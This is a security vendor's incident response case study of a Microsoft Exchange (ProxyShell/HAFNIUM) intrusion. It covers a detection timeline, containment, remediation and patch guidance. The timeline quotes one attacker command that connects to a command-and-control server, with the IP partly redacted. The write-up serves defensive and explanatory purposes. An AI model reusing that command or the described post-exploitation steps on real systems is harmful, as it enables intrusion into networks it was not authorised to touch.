
Microsoft Exchange Vulnerability
Incident Response Timeline TIME From Detection
to Escalation: 20 MINUTES
Join us for our latest real-world attack example which will walk through an attack on a customer in the construction industry with the attacker leveraging the Microsoft Exchange vulnerabilities that were released in early 2021. We’ll show you step by step how the Arctic Wolf team was able to help this customer both stop the immediate attack as well as build a long term fix for these vulnerabilities.

Adversary (Attacker)

Arctic Wolf's Platform

Arctic Wolf Triage Team

Arctic Wolf Customer

Arctic Wolf Concierge Security Team
ATTACKER'S 5-MONTH WINDOW
-
March 2021
Microsoft releases out-of-band patch to address multiple critical vulnerabilities within Microsoft Exchange
-
April 2021
Microsoft releases security updates for a second set of RCE vulnerabilities within Microsoft Exchange
-
May - July 2021
These collections of vulnerabilities are dubbed ProxyShell. Bad actors leverage three separate vulnerabilities as part of a single attack to bypass authentication and execute code
-
August 2nd, 2021
Customer completes onboarding with Arctic Wolf
On Tuesday, March 2, 2021, one week ahead of its typical Patch Tuesday release, Microsoft released an out-of-band patch to address
What do these vulnerabilities mean?
These
vulnerabilities allowed attackers to take full control of a Microsoft Exchange Server exposed to the public internet. Microsoft reported that these vulnerabilities were being actively exploited by HAFNIUM, a threat group they describe as state-sponsored and operating out of China, with attacks dating back to at least January 6, 2021.
Vulnerabilities include: CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065.
View Detailed Attack Timeline
Mon., Aug. 2
5:00pm
Sat., Aug. 7
7:27pm
7:29-7:47pm
7:50pm
8:08pm
8:09pm
Mon., Aug. 9
9:00am
01
SOURCE:
Customer Onboarding Monday, August 2nd
[Customer] completes onboarding with Arctic Wolf 5 days prior with Service Delivery kicking off on Monday, August 2, 2021.
-
1:16pm
02
Source:
Arctic Wolf Agent Saturday, August 7 | 7:27pm
The Arctic Wolf Agent observes
PowerShell enumeration commands on [Exchange Server] begins investigation into [User1] activity.
PowerShell Empire is an incredibly powerful post-exploitation tool. It provides capabilities including privilege escalation, lateral movement, credential theft, and more.
-
7:27pm
03
Arctic Wolf Triage Team:
Investigation Begins Saturday, August 7 | 7:29pm - 7:47pm
The Arctic Wolf Triage Team begins investigation and confirms enumeration commands are suspicious, possible
Ryuk.
Used to target enterprise environments, Ryuk ransomware typically encrypts files on an infected system and holds them ransom for cryptocurrency.
Triage Team creates ticket and contacts [customer].
-
7:29pm
04
Monitoring CONTINUES:
Arctic Wolf Platform Saturday, August 7 | 7:50pm
Source: Arctic Wolf Agent
- SVN.exe is TortoiseSVN, a subversion client that can be used to add, remove, or modify files in a directory.
- PowerShell Command “svn.exe–connect 135.181.x.x:443 –Pass Pasword123”
Log Source: Arctic Wolf Sensor
- IP 135.181.x.x associated with C2 server in Finland
-
7:50pm
05
Source:
Arctic Wolf Agent Saturday, August 7 | 8:08pm
[User1] added to [Exchange Server] local Administrators Group.
Credentials to local [Admin] account were reset.
-
8:08pm
06
SOURCE:
SentinelOne / Arctic Wolf Agent Saturday, August 7 | 8:09pm
Attempted lateral movement using [User1] to [Device 1], [Device 2].
[Customer] takes [Exchange Server]
offline.
Arctic Wolf Customers can authorize Arctic Wolf to take containment actions on their behalf.
[Customer] satisfied with containment for the moment.
-
8:08pm
07
Step-by-Step:
Remediation Monday, August 9
Arctic Wolf sets up virtual call with [Customer] to step through the remediation process.
-
Remediation
Delete SVN.exe
Delete [User1] account and reset [Admin] account
Reset credentials for any cached users on [Exchange Server]
Reset any domain credentials that accessed the server after Saturday, August 7th
Implement firewall blocking rules
The Security Journey doesn't stop there...
- Attack Zone
- Detection Zone
- Investigation + Escalation
- Arctic Wolf Platform
- Arctic Wolf Agent
- SentinelOne / Arctic Wolf
- Remediation

Security journey
with our concierge security team
Although many Managed Detection and Response services would end once the threat was remediated, the
With a complete understanding of your unique IT environment, the Arctic Wolf® Concierge Security® Team (CST) provides your team with coverage, security operations expertise, and strategically tailored security recommendations to continuously improve your overall posture.
Arctic Wolf Concierge Security Team is focused on using this attack to improve the security posture of the customer.
With a complete understanding of your unique IT environment, the Arctic Wolf® Concierge Security® Team (CST) provides your team with coverage, security operations expertise, and strategically tailored security recommendations to continuously improve your overall posture.
Arctic Wolf CST initiates vulnerability scan on [Exchange Server]. The scan identifies missing critical patches dating back 6+ months, including zero-days.
[Customer] confirms their 3rd party patching tool is malfunctioning.
Arctic Wolf CST delivers script to identify Exchange breaches prior to Arctic Wolf onboarding, and the script identifies Backdoor:ASP/Buonpower.A!dha.
Pre-existing webshell is removed.
MFA for VPN and Office 365 enabled.
GPO to prevent enumeration created.
REAL-WORLD EXAMPLES:
Microsoft Exchange Vulnerabilities and Patch Guidance
In the example above, an attacker leveraged the Microsoft Exchange Vulnerabilities released in early 2021 on a customer in the construction industry.
Detailed guidance and links to available patches have been provided by Microsoft here.
These require no prior authentication for an attacker to achieve remote code execution.
CVE-2021-26857
An insecure deserialization vulnerability in the Unified Messaging service. Exploiting this vulnerability can provide an attacker with the ability to run code as SYSTEM on the Exchange Server. This vulnerability requires administrator privileges or another vulnerability to exploit. Microsoft has observed HAFNIUM chain CVE-2021-26855 with this vulnerability to authenticate using elevated privileges.
CVE-2021-26858 and CVE-2021-27065
These two are post-authentication arbitrary file write vulnerabilities in Exchange.
If an attacker can authenticate with the Exchange Server, then they can use one of these vulnerabilities to write a file to any path on the server. Microsoft also observed HAFNIUM chain CVE-2021-26855 with this one to authenticate with elevated privileges.
These require an attacker to have some level of privileges first to be able to achieve remote code execution.
Note: Please pay careful attention to the patch instructions as there are known issues when applying the patch manually documented by Microsoft on the page.
Arctic Wolf Helps Customers Manage Vulnerabilities
At Arctic Wolf, we help our customers develop workflows to ensure that critical risks are assigned to the right individuals within the department to identify, prioritize, and patch as quickly as possible. We keep track of known vulnerabilities you have been unable to patch and, with Arctic Wolf® Managed Detection and Response, monitor those systems for IOCs. Our Concierge Security Team works proactively to improve security posture overall within our customer, so that if a major vulnerability does hit the damage is better contained.